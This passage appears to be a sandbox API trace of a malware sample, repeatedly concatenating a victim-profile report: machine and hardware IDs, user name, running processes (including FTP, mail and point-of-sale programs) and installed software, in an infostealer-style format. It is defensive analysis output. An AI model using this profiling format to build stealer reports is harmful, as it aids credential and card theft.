[16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español ["
[0054.965] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001"
[0054.965] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe 